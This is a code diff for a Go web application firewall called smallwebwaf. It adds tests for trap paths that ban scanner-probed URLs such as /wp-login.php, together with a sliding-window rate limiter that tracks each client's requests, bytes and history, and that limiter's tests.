+// sentRequest is a GET request from client, as X-Forwarded-For names it,
+// and the status and log line action it should get.
+type sentRequest struct {
+	client string
+	status int
+	action string
+}
+
+// wantAnswers sends requests to smallwebwaf at addr one after another and
+// checks each one's answer and log line. They must be the first requests
+// smallwebwaf is sent, since the log lines are matched to them in order.
+func wantAnswers(t *testing.T, addr string, out *output, requests []sentRequest) {
+	t.Helper()
+
+	for i, sent := range requests {
+		req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
+		req.Header.Set(forwardedFor, sent.client)
+		wantStatus(t, do(t, req), sent.status)
+		wantLine(t, out.endedLines(t, i+1)[i], sent.status, sent.action)
+	}
+}

internal/proxy/trappaths_test.go

@@ -0,0 +1,130 @@
+package proxy_test
+
+import (
+	"net/http"
+	"net/netip"
+	"reflect"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+// trapPaths is the setting's name, and trapPathList what the tests set it
+// to.
+const (
+	trapPaths    = "SWWAF_TRAP_PATHS"
+	trapPathList = "/wp-login.php,/xmlrpc.php"
+)
+
+func TestTrapPathBansAsABanRuleDoes(t *testing.T) {
+	t.Parallel()
+
+	const allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
+
+	// A block rule for the same path: the trap path comes first.
+	s, clk, server := startWithClock(t, "", map[string]string{
+		trapPaths:   trapPathList,
+		rulesDir:    writeRules(t, `wp  path  block  ^/wp-login\.php$`),
+		allowNets:   allowed,
+		banResponse: "429",
+	})
+	start := clk.Now()
+
+	// Only the path itself, the whole of it in the same case, is a trap
+	// path.
+	for _, path := range []string{"/wp-login.php/", "/WP-LOGIN.PHP", "/blog/xmlrpc.php"} {
+		s.request(otherClient, path, http.StatusOK, requestlog.ActionForward)
+	}
+
+	// A client in SWWAF_ALLOW_NETS is not checked.
+	s.request(allowed, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward)
+
+	// The query is not part of the path.
+	line := s.request(client, "/wp-login.php?redirect_to=x", http.StatusTooManyRequests,
+		requestlog.ActionBanned)
+	wantRuleIDs(t, line)
+
+	if line.BanExpires != requestlog.FormatTime(start.Add(7*24*time.Hour)) {
+		t.Errorf("log line has ban_expires %q, want seven days on", line.BanExpires)
+	}
+
+	netblock := netip.MustParsePrefix(client + "/32")
+	want := bans.Ban{
+		Netblock: netblock,
+		Start:    start,
+		Expires:  start.Add(7 * 24 * time.Hour),
+		Cause:    bans.CauseAttack,
+		Reason:   "asked for the trap path /wp-login.php",
+		Notes: bans.Notes{
+			TrapPath: "/wp-login.php",
+			Request: bans.Request{
+				Time:      start,
+				Method:    http.MethodGet,
+				Host:      appHost,
+				Path:      "/wp-login.php?redirect_to=x",
+				Status:    http.StatusTooManyRequests,
+				UserAgent: userAgent,
+			},
+			Requests: 1,
+		},
+	}
+
+	got := server.Ledger.Bans(netblock)
+	if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
+		t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
+	}
+
+	// The next request is refused under the ban, and makes it permanent.
+	line = s.get(client, http.StatusTooManyRequests, requestlog.ActionBanned)
+	if line.BanExpires != permanent {
+		t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires)
+	}
+}
+
+func TestTrapPathMatchesThePathDecodedOnce(t *testing.T) {
+	t.Parallel()
+
+	s, _, server := startWithClock(t, "", map[string]string{trapPaths: trapPathList})
+
+	// %2577 decodes once to %77, not to w.
+	s.request(otherClient, "/%2577p-login.php", http.StatusOK, requestlog.ActionForward)
+	s.request(client, "/%77p-login.php", http.StatusForbidden, requestlog.ActionBanned)
+
+	// The ban's notes give the path as the client sent it.
+	got := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
+	if len(got) != 1 || got[0].Notes.TrapPath != "/%77p-login.php" {
+		t.Fatalf("bans %+v, want one whose notes give the trap path /%%77p-login.php", got)
+	}
+}
+
+func TestTrapPathsNeedNoRuleFiles(t *testing.T) {
+	t.Parallel()
+
+	s, _, _ := startWithClock(t, "", map[string]string{
+		trapPaths:             trapPathList,
+		"SWWAF_RULES_ENABLED": "false",
+	})
+
+	s.request(client, "/xmlrpc.php", http.StatusForbidden, requestlog.ActionBanned)
+}
+
+func TestObserveModeLogsWhatATrapPathWouldDo(t *testing.T) {
+	t.Parallel()
+
+	s, _, server := startWithClock(t, "", map[string]string{
+		trapPaths: trapPathList,
+		mode:      observe,
+	})
+
+	line := s.request(client, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward)
+	wantWouldAction(t, line, requestlog.ActionBanned)
+
+	// No ban was made.
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+
+	if got := server.Ledger.Snapshot(); len(got) != 0 {
+		t.Errorf("bans %+v, want none", got)
+	}
+}

internal/ratelimit/history_test.go

@@ -0,0 +1,154 @@
+package ratelimit_test
+
+import (
+	"net/netip"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+)
+
+func TestHistoryKeepsEveryRequest(t *testing.T) {
+	t.Parallel()
+
+	limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
+	client := netip.MustParsePrefix("203.0.113.9/32")
+	start := midnight()
+
+	for i, r := range []ratelimit.Request{
+		{Forwarded: true, Status: 200, RequestBytes: 10, ResponseBytes: 100},
+		{Forwarded: true, Status: 101},
+		{Forwarded: true, Status: 304, RequestBytes: 5},
+		{Refused: true, Status: 403, ResponseBytes: 10, BrokeLimit: true},
+		{Forwarded: true, Status: 502, ResponseBytes: 12},
+		// Closed without an answer: refused, and no response.
+		{Refused: true, Status: 0},
+		// Answered 404 for a path under /_smallwebwaf/: neither forwarded nor
+		// refused.
+		{Status: 404},
+	} {
+		limiter.AddToHistory(client, start.Add(time.Duration(i)*time.Minute), r)
+	}
+
+	want := ratelimit.History{
+		FirstSeen:     start,
+		LastSeen:      start.Add(6 * time.Minute),
+		Requests:      7,
+		Forwarded:     4,
+		Refused:       2,
+		RequestBytes:  15,
+		ResponseBytes: 122,
+		Responses: ratelimit.Responses{
+			Status1xx: 1, Status2xx: 1, Status3xx: 1, Status4xx: 2, Status5xx: 1,
+		},
+		Offences: ratelimit.Offences{Limit: 1},
+	}
+
+	got := historyOf(t, limiter, client)
+	if got != want {
+		t.Errorf("history\n%+v\nwant\n%+v", got, want)
+	}
+}
+
+func TestLookupReachesTheHistoryOfAClientInTheTable(t *testing.T) {
+	t.Parallel()
+
+	limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
+	client := netip.MustParsePrefix("203.0.113.9/32")
+	other := netip.MustParsePrefix("198.51.100.7/32")
+	start := midnight()
+
+	limiter.AddToHistory(client, start, ratelimit.Request{Forwarded: true})
+	limiter.AddLookup(client, start, "AS64496", "Example Net", "DE")
+
+	// A later answer replaces it, and one for a client the table does not
+	// hold adds no client.
+	limiter.AddLookup(client, start.Add(time.Hour), "AS64497", "Other Net", "FR")
+	limiter.AddLookup(other, start, "AS64496", "Example Net", "DE")
+
+	want := ratelimit.History{
+		FirstSeen: start,
+		LastSeen:  start,
+		ASN:       "AS64497",
+		ASName:    "Other Net",
+		Country:   "FR",
+		LookedUp:  start.Add(time.Hour),
+		Requests:  1,
+		Forwarded: 1,
+	}
+
+	got := historyOf(t, limiter, client)
+	if got != want {
+		t.Errorf("history\n%+v\nwant\n%+v", got, want)
+	}
+
+	if clients := limiter.Snapshot(); len(clients) != 1 {
+		t.Errorf("the table holds %+v, want %s alone", clients, client)
+	}
+}
+
+func TestResetKeepsTheHistory(t *testing.T) {
+	t.Parallel()
+
+	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit}, tableSize)
+	client := netip.MustParsePrefix("203.0.113.9/32")
+	start := midnight()
+
+	for range limit {
+		wantCount(t, limiter, client, start, "")
+		limiter.AddToHistory(client, start, ratelimit.Request{Forwarded: true})
+	}
+
+	limiter.Reset(client)
+
+	if got := historyOf(t, limiter, client).Requests; got != limit {
+		t.Errorf("the history counts %d requests, want %d", got, limit)
+	}
+}
+
+func TestRequestsAddsUpTheClientsInsideTheNetblock(t *testing.T) {
+	t.Parallel()
+
+	limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
+
+	for client, requests := range map[string]int{
+		"198.51.100.9/32":  2,
+		"198.51.100.10/32": 3,
+		"192.0.2.1/32":     5,
+		"2001:db8:5::/64":  7,
+	} {
+		for range requests {
+			limiter.AddToHistory(netip.MustParsePrefix(client), midnight(),
+				ratelimit.Request{})
+		}
+	}
+
+	for netblock, want := range map[string]int64{
+		"198.51.100.9/32": 2,
+		"198.51.100.0/24": 5,
+		"2001:db8:5::/64": 7,
+		"203.0.113.0/24":  0,
+	} {
+		got := limiter.Requests(netip.MustParsePrefix(netblock))
+		if got != want {
+			t.Errorf("%s has sent %d requests, want %d", netblock, got, want)
+		}
+	}
+}
+
+// historyOf returns client's history.
+func historyOf(
+	t *testing.T, limiter *ratelimit.Limiter, client netip.Prefix,
+) ratelimit.History {
+	t.Helper()
+
+	for _, c := range limiter.Snapshot() {
+		if c.Client == client {
+			return c.History
+		}
+	}
+
+	t.Fatalf("%s is not in the table", client)
+
+	return ratelimit.History{}
+}

internal/ratelimit/ratelimit.go

@@ -0,0 +1,596 @@
+// Package ratelimit keeps the table of clients: each client's requests
+// and bytes counted over a minute, an hour and a day, as the "Counting
+// method" section of SPEC.md describes, which tell when a request takes
+// the client over a rate limit or a byte limit, and each client's history
+// since it was first seen. At most SWWAF_MAX_TRACKED_CLIENTS clients are
+// kept, in memory, and written to clients.json and read from it by the
+// state package.
+package ratelimit
+
+import (
+	"net/http"
+	"net/netip"
+	"slices"
+	"sync"
+	"time"
+
+	"github.com/hashicorp/golang-lru/v2/simplelru"
+)
+
+const day = 24 * time.Hour
+
+// The kinds of limits, as the metrics name them.
+const (
+	// KindRequests is a rate limit, on a client's requests.
+	KindRequests = "requests"
+	// KindBytes is a byte limit, on a client's bytes.
+	KindBytes = "bytes"
+	// KindRefusals is the error burst, on a client's requests smallwebwaf
+	// refused after a rule file match or for a missing or wrong token.
+	KindRefusals = "refusals"
+)
+
+// Limits are the most requests a client may make in a minute, an hour and
+// a day, and the most bytes. Zero is no limit.
+type Limits struct {
+	PerMinute      int64
+	PerHour        int64
+	PerDay         int64
+	BytesPerMinute int64
+	BytesPerHour   int64
+	BytesPerDay    int64
+}
+
+// Limiter counts each client's requests and bytes against the limits, and
+// keeps its history. It is safe for concurrent use.
+type Limiter struct {
+	// windows are the minute, the hour and the day, in the order of
+	// Client.buckets and Client.byteBuckets.
+	windows [3]window
+
+	mu      sync.Mutex
+	clients *simplelru.LRU[netip.Prefix, *Client]
+}
+
+// Client is a client in the table, as clients.json holds it: its buckets
+// of requests and of bytes in each window, its buckets of refusals in the
+// minute, which the error burst counts, and its history.
+//
+//nolint:tagliatelle // the state files use snake_case, as the request log does
+type Client struct {
+	Client         netip.Prefix `json:"client"`
+	Minute         Buckets      `json:"minute"`
+	Hour           Buckets      `json:"hour"`
+	Day            Buckets      `json:"day"`
+	MinuteBytes    Buckets      `json:"minute_bytes"`
+	HourBytes      Buckets      `json:"hour_bytes"`
+	DayBytes       Buckets      `json:"day_bytes"`
+	MinuteRefusals Buckets      `json:"minute_refusals"`
+	History        History      `json:"history"`
+}
+
+// Buckets are a client's two buckets in one window: the requests, or the
+// bytes, in the bucket under way, which began at Start, and in the bucket
+// before it.
+type Buckets struct {
+	Start    time.Time `json:"start"`
+	Current  int64     `json:"current"`
+	Previous int64     `json:"previous"`
+}
+
+// History is what is known of a client since it was first seen.
+//
+//nolint:tagliatelle // the state files use snake_case, as the request log does
+type History struct {
+	FirstSeen time.Time `json:"first_seen"`
+	LastSeen  time.Time `json:"last_seen"`
+	// ASN, ASName and Country are the client's AS number, AS name and
+	// country as last looked up, each empty when the lookup could not
+	// find it, and LookedUp is when the lookup gave that answer; all are
+	// empty while the client never was looked up.
+	ASN      string    `json:"asn,omitempty"`
+	ASName   string    `json:"as_name,omitempty"`
+	Country  string    `json:"country,omitempty"`
+	LookedUp time.Time `json:"looked_up,omitzero"`
+	// Requests are all the client's requests: Forwarded those servewaf allowed,
+	// Refused those it refused, and neither those for a path under
+	// /_smallwebwaf/.
+	Requests  int64 `json:"requests"`
+	Forwarded int64 `json:"forwarded"`
+	Refused   int64 `json:"refused"`
+	// RequestBytes and ResponseBytes are the body bytes of its requests
+	// and of the responses it was sent.
+	RequestBytes  int64     `json:"request_bytes"`
+	ResponseBytes int64     `json:"response_bytes"`
+	Responses     Responses `json:"responses,omitzero"`
+	Offences      Offences  `json:"offences,omitzero"`
+}
+
+// Responses are the responses a client was sent, by status class;
+// Status5xx counts every status from 500 up.
+type Responses struct {
+	Status1xx int64 `json:"1xx,omitempty"`
+	Status2xx int64 `json:"2xx,omitempty"`
+	Status3xx int64 `json:"3xx,omitempty"`
+	Status4xx int64 `json:"4xx,omitempty"`
+	Status5xx int64 `json:"5xx,omitempty"`
+}
+
+// Offences are a client's offences, by kind.
+//
+//nolint:tagliatelle // the state files use snake_case, as the request log does
+type Offences struct {
+	// Limit is its requests that broke a rate limit, a byte limit or the
+	// error burst, Attack those that were a clear sign of attack, a match
+	// of a ban rule or a request for a trap path, RuleBlocked those a block
+	// rule refused, and WAFBlocked those the Core Rule Set refused.
+	Limit       int64 `json:"limit"`
+	Attack      int64 `json:"attack"`
+	RuleBlocked int64 `json:"rule_blocked"`
+	WAFBlocked  int64 `json:"waf_blocked"`
+	// TokenRefused is what a clients.json written by an earlier version gives,
+	// which must still load. Nothing adds to it.
+	TokenRefused int64 `json:"token_refused,omitempty"`
+}
+
+// Request is what a client's history keeps of one of its requests.
+type Request struct {
+	// Forwarded is true for a request servewaf allowed, and Refused for one it
+	// refused. Both are false for a request for a path under /_smallwebwaf/.
+	Forwarded bool
+	Refused   bool
+	// Status is what the client was sent, 0 if nothing was.
+	Status int
+	// RequestBytes and ResponseBytes are the body bytes of the request
+	// and of its response.
+	RequestBytes  int64
+	ResponseBytes int64
+	// BrokeLimit is true for a request that broke a rate limit, a byte
+	// limit or the error burst, Attack for one that matched a ban rule or
+	// asked for a trap path, RuleBlocked for one a block rule refused, and
+	// WAFBlocked for one the Core Rule Set refused.
+	BrokeLimit  bool
+	Attack      bool
+	RuleBlocked bool
+	WAFBlocked  bool
+}
+
+// New returns a Limiter for limits, with no client counted yet, whose
+// table holds at most maxClients clients (SWWAF_MAX_TRACKED_CLIENTS). Past
+// it, the least recently seen client is dropped, with its history, and
+// starts afresh if it comes back.
+func New(limits Limits, maxClients int) *Limiter {
+	clients, err := simplelru.NewLRU[netip.Prefix, *Client](maxClients, nil)
+	if err != nil {
+		panic(err) // NewLRU fails only for a size below one
+	}
+
+	return &Limiter{
+		windows: [3]window{
+			{
+				name: "minute", length: time.Minute,
+				limit: limits.PerMinute, byteLimit: limits.BytesPerMinute,
+			},
+			{
+				name: "hour", length: time.Hour,
+				limit: limits.PerHour, byteLimit: limits.BytesPerHour,
+			},
+			{
+				name: "day", length: day,
+				limit: limits.PerDay, byteLimit: limits.BytesPerDay,
+			},
+		},
+		clients: clients,
+	}
+}
+
+// Hit is a request that takes a client over a rate limit or the error
+// burst, or whose bytes take it over a byte limit.
+type Hit struct {
+	// Kind is KindRequests for a rate limit, KindBytes for a byte limit,
+	// KindRefusals for the error burst.
+	Kind string
+	// Window is "minute", "hour" or "day".
+	Window string
+	// Limit is the window's limit, as the client's percentage of it.
+	Limit int64
+	// Count is the client's requests, bytes or refusals counted in the
+	// window, this request's included.
+	Count float64
+}
+
+// Counts are a client's requests and bytes in the minute, the hour and
+// the day that end at a request, that request's included.
+//
+//nolint:tagliatelle // docs/request-log.md names the fields in snake_case
+type Counts struct {
+	Minute      float64 `json:"minute"`
+	Hour        float64 `json:"hour"`
+	Day         float64 `json:"day"`
+	MinuteBytes float64 `json:"minute_bytes"`
+	HourBytes   float64 `json:"hour_bytes"`
+	DayBytes    float64 `json:"day_bytes"`
+}
+
+// Count counts a request from client at now, in every window, whether or
+// not it is refused, and returns the client's counts in each window. It
+// reports whether the request takes the client over a rate limit, of
+// which the client gets the percentage percent, rounded down, and the hit:
+// the window whose limit it goes over, the shortest if it is over
+// several. A limit that is off stays off.
+func (l *Limiter) Count(
+	client netip.Prefix, now time.Time, percent int64,
+) (Counts, Hit, bool) {
+	return l.count(client, now, 1, 0, percent)
+}
+
+// OverARateLimit reports whether one more request from client at now would
+// take it over a whole rate limit. A client's percentage can only lower a
+// limit, so that request is over the limit at any percentage. It counts
+// nothing, and does not make the client the most recently seen.
+func (l *Limiter) OverARateLimit(client netip.Prefix, now time.Time) bool {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	c, seen := l.clients.Peek(client)
+	if !seen {
+		return false
+	}
+
+	buckets := c.buckets()
+
+	for i, w := range l.windows {
+		if w.limit > 0 && buckets[i].Add(now, w.length, 0)+1 > float64(w.limit) {
+			return true
+		}
+	}
+
+	return false
+}
+
+// CountBytes counts bytes, those of a request from client that has ended,
+// at now, in every window, and returns the client's counts in each window.
+// It reports whether the bytes take the client over a byte limit, of which
+// the client gets the percentage percent, and the hit, as Count does.
+func (l *Limiter) CountBytes(
+	client netip.Prefix, now time.Time, bytes, percent int64,
+) (Counts, Hit, bool) {
+	return l.count(client, now, 0, bytes, percent)
+}
+
+// CountRefusal counts a request from client at now that smallwebwaf
+// refused after a rule file or Core Rule Set match or for a missing or
+// wrong token, and reports whether the client's refusals in the minute
+// that ends at now, this one included, are more than threshold, which
+// breaks the error burst, and the hit.
+func (l *Limiter) CountRefusal(
+	client netip.Prefix, now time.Time, threshold int64,
+) (Hit, bool) {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	count := l.get(client).MinuteRefusals.Add(now, time.Minute, 1)
+	hit := Hit{Kind: KindRefusals, Window: "minute", Limit: threshold, Count: count}
+
+	return hit, count > float64(threshold)
+}
+
+// Reset sets client's counts of requests, of bytes and of refusals in
+// every window back to zero. Its history keeps its totals.
+func (l *Limiter) Reset(client netip.Prefix) {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	c, seen := l.clients.Peek(client)
+	if seen {
+		c.Minute, c.Hour, c.Day = Buckets{}, Buckets{}, Buckets{}
+		c.MinuteBytes, c.HourBytes, c.DayBytes = Buckets{}, Buckets{}, Buckets{}
+		c.MinuteRefusals = Buckets{}
+	}
+}
+
+// AddToHistory adds r, a request from client at now, to the client's
+// history.
+func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	h := &l.get(client).History
+	if h.FirstSeen.IsZero() {
+		h.FirstSeen = now
+	}
+
+	h.LastSeen = now
+
+	h.Requests++
+	if r.Forwarded {
+		h.Forwarded++
+	}
+
+	if r.Refused {
+		h.Refused++
+	}
+
+	h.RequestBytes += r.RequestBytes
+	h.ResponseBytes += r.ResponseBytes
+	h.Responses.add(r.Status)
+
+	if r.BrokeLimit {
+		h.Offences.Limit++
+	}
+
+	if r.Attack {
+		h.Offences.Attack++
+	}
+
+	if r.RuleBlocked {
+		h.Offences.RuleBlocked++
+	}
+
+	if r.WAFBlocked {
+		h.Offences.WAFBlocked++
+	}
+}
+
+// AddLookup gives client's history its AS number, AS name and country, as
+// the lookup gave them at lookedUp, if the table of clients holds the
+// client.
+// It does not make the client the most recently seen.
+func (l *Limiter) AddLookup(
+	client netip.Prefix, lookedUp time.Time, asn, asName, country string,
+) {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	c, held := l.clients.Peek(client)
+	if !held {
+		return
+	}
+
+	h := &c.History
+	h.ASN, h.ASName, h.Country, h.LookedUp = asn, asName, country, lookedUp
+}
+
+// Requests returns how many requests the clients inside netblock have
+// sent, as their histories count them.
+func (l *Limiter) Requests(netblock netip.Prefix) int64 {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	// Most often the netblock is one client.
+	c, seen := l.clients.Peek(netblock)
+	if seen {
+		return c.History.Requests
+	}
+
+	var requests int64
+
+	for _, c := range l.clients.Values() {
+		if netblock.Overlaps(c.Client) {
+			requests += c.History.Requests
+		}
+	}
+
+	return requests
+}
+
+// Client returns client as the table holds it, and whether it does. It is
+// not a request from client, and leaves when it was last seen unchanged.
+func (l *Limiter) Client(client netip.Prefix) (Client, bool) {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	c, seen := l.clients.Peek(client)
+	if !seen {
+		return Client{}, false
+	}
+
+	return *c, true
+}
+
+// Len returns how many clients are in the table.
+func (l *Limiter) Len() int {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	return l.clients.Len()
+}
+
+// Snapshot returns every client in the table, sorted by address, as
+// clients.json lists them.
+func (l *Limiter) Snapshot() []Client {
+	l.mu.Lock()
+
+	clients := make([]Client, 0, l.clients.Len())
+	for _, c := range l.clients.Values() {
+		clients = append(clients, *c)
+	}
+
+	l.mu.Unlock()
+
+	slices.SortFunc(clients, func(a, b Client) int {
+		return a.Client.Compare(b.Client)
+	})
+
+	return clients
+}
+
+// Load puts clients read from clients.json into the table, in place of
+// the clients it holds, in the order they were last seen, so that the
+// least recently seen is dropped first. Buckets whose time has passed at
+// now are emptied.
+func (l *Limiter) Load(clients []Client, now time.Time) {
+	clients = slices.Clone(clients)
+	slices.SortStableFunc(clients, func(a, b Client) int {
+		return a.History.LastSeen.Compare(b.History.LastSeen)
+	})
+
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	l.clients.Purge()
+
+	for _, c := range clients {
+		for i, w := range l.windows {
+			for _, b := range []*Buckets{c.buckets()[i], c.byteBuckets()[i]} {
+				if b.Passed(now, w.length) {
+					*b = Buckets{}
+				}
+			}
+		}
+
+		if c.MinuteRefusals.Passed(now, time.Minute) {
+			c.MinuteRefusals = Buckets{}
+		}
+
+		l.clients.Add(c.Client, &c)
+	}
+}
+
+// count adds requests and bytes from client at now to its buckets in
+// every window, and returns its counts. A limit is broken only by what is
+// added to it, so that a request whose bytes are counted after another of
+// the client's requests broke a rate limit does not break it too. The
+// client gets the percentage percent of each limit.
+func (l *Limiter) count(
+	client netip.Prefix, now time.Time, requests, bytes, percent int64,
+) (Counts, Hit, bool) {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	c := l.get(client)
+	requestBuckets, byteBuckets := c.buckets(), c.byteBuckets()
+
+	var (
+		requestCounts, byteCounts [3]float64
+		hit                       Hit
+	)
+
+	for i, w := range l.windows {
+		requestCounts[i] = requestBuckets[i].Add(now, w.length, requests)
+		byteCounts[i] = byteBuckets[i].Add(now, w.length, bytes)
+		limit, byteLimit := percentOf(w.limit, percent), percentOf(w.byteLimit, percent)
+
+		switch {
+		case hit.Window != "":
+		case requests > 0 && w.limit > 0 && requestCounts[i] > float64(limit):
+			hit = Hit{
+				Kind: KindRequests, Window: w.name, Limit: limit, Count: requestCounts[i],
+			}
+		case bytes > 0 && w.byteLimit > 0 && byteCounts[i] > float64(byteLimit):
+			hit = Hit{
+				Kind: KindBytes, Window: w.name, Limit: byteLimit, Count: byteCounts[i],
+			}
+		}
+	}
+
+	counts := Counts{
+		Minute: requestCounts[0], Hour: requestCounts[1], Day: requestCounts[2],
+		MinuteBytes: byteCounts[0], HourBytes: byteCounts[1], DayBytes: byteCounts[2],
+	}
+
+	return counts, hit, hit.Window != ""
+}
+
+// get returns client's entry in the table, a new one if it has none, and
+// makes it the most recently seen.
+func (l *Limiter) get(client netip.Prefix) *Client {
+	c, seen := l.clients.Get(client)
+	if !seen {
+		c = &Client{Client: client}
+		l.clients.Add(client, c)
+	}
+
+	return c
+}
+
+// buckets returns c's buckets of requests in the minute, the hour and the
+// day.
+func (c *Client) buckets() [3]*Buckets {
+	return [3]*Buckets{&c.Minute, &c.Hour, &c.Day}
+}
+
+// byteBuckets returns c's buckets of bytes in the minute, the hour and the
+// day.
+func (c *Client) byteBuckets() [3]*Buckets {
+	return [3]*Buckets{&c.MinuteBytes, &c.HourBytes, &c.DayBytes}
+}
+
+// window is a length of time over which requests and bytes are counted,
+// and the most requests and the most bytes a client may have in it.
+type window struct {
+	name      string
+	length    time.Duration
+	limit     int64
+	byteLimit int64
+}
+
+// percentOf returns the percentage percent of limit, rounded down. It is
+// written as limit's hundreds times percent, plus the rest's share, since
+// limit*percent can overflow for a byte limit.
+func percentOf(limit, percent int64) int64 {
+	const hundred = 100
+
+	return limit/hundred*percent + limit%hundred*percent/hundred
+}
+
+// Add counts n requests, or n bytes, at now in a window of length, and
+// returns the count in the window that ends at now: what is in the bucket
+// under way, and what is in the bucket before it weighted by how much of
+// that bucket the window still covers. With n zero it counts nothing, and
+// returns the count. The anomaly counters count in Buckets too.
+//
+// Concurrent requests can be counted out of order, so now can be a moment
+// before the bucket under way began; such a request is counted in that
+// bucket. A request dated more than a second before it means the clock
+// was set back, and the buckets start afresh: otherwise the bucket before
+// would keep its full weight until the clock caught up.
+func (b *Buckets) Add(now time.Time, length time.Duration, n int64) float64 {
+	if now.Before(b.Start.Add(-time.Second)) {
+		*b = Buckets{}
+	}
+
+	start := now.Truncate(length)
+	if start.After(b.Start) {
+		if start.Equal(b.Start.Add(length)) {
+			b.Previous = b.Current
+		} else {
+			b.Previous = 0
+		}
+
+		b.Start = start
+		b.Current = 0
+	}
+
+	b.Current += n
+
+	elapsed := max(now.Sub(b.Start), 0)
+	covered := 1 - float64(elapsed)/float64(length)
+
+	return float64(b.Previous)*covered + float64(b.Current)
+}
+
+// Passed reports whether the window of length that ends at now covers
+// neither of b's buckets: it begins after the bucket under way has ended.
+// What they hold then counts no more, and a state file read at now drops
+// it.
+func (b *Buckets) Passed(now time.Time, length time.Duration) bool {
+	return !now.Add(-length).Before(b.Start.Add(length))
+}
+
+// add counts a response with status in its class. A status of 0, for
+// nothing sent, is not a response.
+func (r *Responses) add(status int) {
+	switch {
+	case status >= http.StatusInternalServerError:
+		r.Status5xx++
+	case status >= http.StatusBadRequest:
+		r.Status4xx++
+	case status >= http.StatusMultipleChoices:
+		r.Status3xx++
+	case status >= http.StatusOK:
+		r.Status2xx++
+	case status >= http.StatusContinue:
+		r.Status1xx++
+	}
+}

internal/ratelimit/ratelimit_test.go

@@ -0,0 +1,544 @@
+package ratelimit_test
+
+import (
+	"math"
+	"net/netip"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+)
+
+// limit is the limit the tests set.
+const limit = 3
+
+// tableSize is the most clients the tests' tables hold, the default of
+// SWWAF_MAX_TRACKED_CLIENTS.
+const tableSize = 20000
+
+// whole is the percentage of each limit a client gets when nothing lowers
+// its limits.
+const whole = 100
+
+// The windows, as Count names them.
+const (
+	minute = "minute"
+	hour   = "hour"
+)
+
+func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(t *testing.T) {
+	t.Parallel()
+
+	client := netip.MustParsePrefix("203.0.113.9/32")
+	now := midnight()
+	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit + 1},
+		tableSize)
+
+	if limiter.OverARateLimit(client, now) {
+		t.Error("a client never seen is over a rate limit")
+	}
+
+	if limiter.Len() != 0 {
+		t.Error("asking about a client never seen added it to the table")
+	}
+
+	for range limit {
+		if limiter.OverARateLimit(client, now) {
+			t.Error("a client with room for another request is over a rate limit")
+		}
+
+		wantCount(t, limiter, client, now, "")
+	}
+
+	if !limiter.OverARateLimit(client, now) {
+		t.Error("a client at its limit is not over a rate limit")
+	}
+
+	held, _ := limiter.Client(client)
+	if held.Minute.Current != limit {
+		t.Errorf("the client's minute holds %d requests, want %d", held.Minute.Current, limit)
+	}
+
+	wantCount(t, limiter, client, now, minute)
+
+	// A limit that is off is never gone over.
+	off := ratelimit.New(ratelimit.Limits{}, tableSize)
+	off.Count(client, now, whole)
+
+	if off.OverARateLimit(client, now) {
+		t.Error("a client is over a rate limit that is off")
+	}
+}
+
+func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		window string
+		limits ratelimit.Limits
+		length time.Duration
+	}{
+		{minute, ratelimit.Limits{PerMinute: limit}, time.Minute},
+		{hour, ratelimit.Limits{PerHour: limit}, time.Hour},
+		{"day", ratelimit.Limits{PerDay: limit}, 24 * time.Hour},
+	} {
+		t.Run(tc.window, func(t *testing.T) {
+			t.Parallel()
+
+			limiter := ratelimit.New(tc.limits, tableSize)
+			client := netip.MustParsePrefix("203.0.113.9/32")
+			start := midnight()
+			quarter := tc.length / 4
+
+			for range limit {
+				wantCount(t, limiter, client, start, "")
+			}
+
+			wantCount(t, limiter, client, start, tc.window)
+
+			// A quarter into the next bucket, the window still covers three
+			// quarters of the bucket before, with its four requests: 3 + 1
+			// is over the limit.
+			wantCount(t, limiter, client, start.Add(tc.length+quarter), tc.window)
+
+			// Three quarters into it, a quarter: 1 + 2 is within.
+			wantCount(t, limiter, client, start.Add(tc.length+3*quarter), "")
+		})
+	}
+}
+
+func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) {
+	t.Parallel()
+
+	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: limit}, tableSize)
+	client := netip.MustParsePrefix("203.0.113.9/32")
+	start := midnight()
+
+	for range limit {
+		_, _, over := limiter.Count(client, start, whole)
+		if over {
+			t.Fatal("a request within the limit is over it")
+		}
+	}
+
+	// Over both limits; the minute's is named, with the four requests.
+	_, hit, over := limiter.Count(client, start, whole)
+
+	want := ratelimit.Hit{
+		Kind: ratelimit.KindRequests, Window: minute, Limit: limit, Count: limit + 1,
+	}
+	if !over || hit != want {
+		t.Errorf("request over the limit gives %+v and %t, want %+v and true",
+			hit, over, want)
+	}
+}
+
